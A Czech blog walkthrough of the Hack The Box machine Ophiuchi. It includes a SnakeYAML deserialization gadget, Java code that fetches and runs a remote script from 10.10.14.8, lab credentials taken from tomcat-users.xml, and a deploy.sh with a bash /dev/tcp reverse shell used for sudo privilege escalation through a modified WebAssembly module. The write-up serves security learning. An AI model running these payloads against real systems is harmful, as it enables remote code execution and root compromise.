tom@home.htb:~$

Blog o HTB

26 December 2020

Ophiuchi

Úvod a kontext

Ophiuchi je stroj postavený na dvou úplně jiných technologiích. První část je Java/Tomcat a nebezpečné parsování YAML přes SnakeYAML. Druhá část je Go wrapper nad WebAssembly modulem, který lze po sudo přinutit spustit útočníkův kód jako root.

Právě kontrast těchto dvou vrstev dělá Ophiuchi zajímavým. Foothold nepřinese heslo ani jednoduchý upload, ale deserializace v Javě. Root pak naopak nepadá na klasickém SUID nebo PATH hijacku, ale na důvěře v lokální .wasm modul a pomocný deploy.sh.

Počáteční průzkum

Tomcat s aplikací Parse YAML

Scan ukáže jen SSH a Tomcat na 8080/tcp. Důležitý je název aplikace Parse YAML a také přítomnost cest /yaml, /test a /manager, které naznačují, že host pracuje s uživatelským vstupem ve formátu YAML.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
8080/tcp open  http    Apache Tomcat 9.0.38

/test
/manager
/yaml

Analýza zjištění

SnakeYAML deserializace přes ScriptEngineManager

Na Ophiuchi dává smysl u YAML aplikace hned ověřit známé gadgety pro SnakeYAML. Funkční cesta vede přes !!javax.script.ScriptEngineManager a URLClassLoader, který si stáhne útočníkův Java payload z vlastního HTTP serveru.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.8:8000/"]
  ]]
]

Payload s třídou implementující ScriptEngineFactory pak v konstruktoru stáhne a spustí reverzní shell.

public class exploit implements ScriptEngineFactory {
    public exploit() {
        Runtime.getRuntime().exec("curl http://10.10.14.8:8000/rev.sh -o /tmp/rev.sh");
        Runtime.getRuntime().exec("bash /tmp/rev.sh");
    }
}

Po footholdu už je nejdůležitější číst lokální konfigurační soubory Tomcatu. V tomcat-users.xml leží administrátorský účet admin s heslem whythereisalimit, které funguje i pro systémové SSH.

cat tomcat-users.xml
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

Získání přístupu

SSH jako admin

Jakmile jsou známé přihlašovací údaje, dává smysl opustit webový shell a přepnout se na SSH. Tím vznikne stabilní foothold a zároveň se otevře přímý přístup k lokálním souborům a sudo.

ssh admin@$IP
cat user.txt
whythereisalimit
__CENSORED__

Eskalace oprávnění

go run a podvržený main.wasm

sudo -l na účtu admin ukáže, že lze spouštět /usr/bin/go run /opt/wasm-functions/index.go. To samo o sobě vypadá neškodně, ale wrapper očekává main.wasm a pomocný deploy.sh v pracovním adresáři. Stačí tedy zkopírovat originální main.wasm, převést ho do WAT, upravit rozhodující podmínku a vrátit ho jako vlastní variantu.

scp admin@$IP:/opt/wasm-functions/main.wasm main.wasm
wasm2wat main.wasm

V upraveném modulu stačí změnit větev tak, aby vždy vedla do cesty, která spouští deploy.sh. Potom se do vlastního adresáře přidá shell script a celý wrapper se spustí přes sudo.

mkdir /tmp/a
scp test.wasm admin@$IP:/tmp/a/main.wasm

/tmp/a/deploy.sh
#!/bin/sh
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1'

sudo /usr/bin/go run /opt/wasm-functions/index.go

To už vede přímo k root shellu a tím i k root.txt.

cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - ssh - sudo - tomcat - java - exploit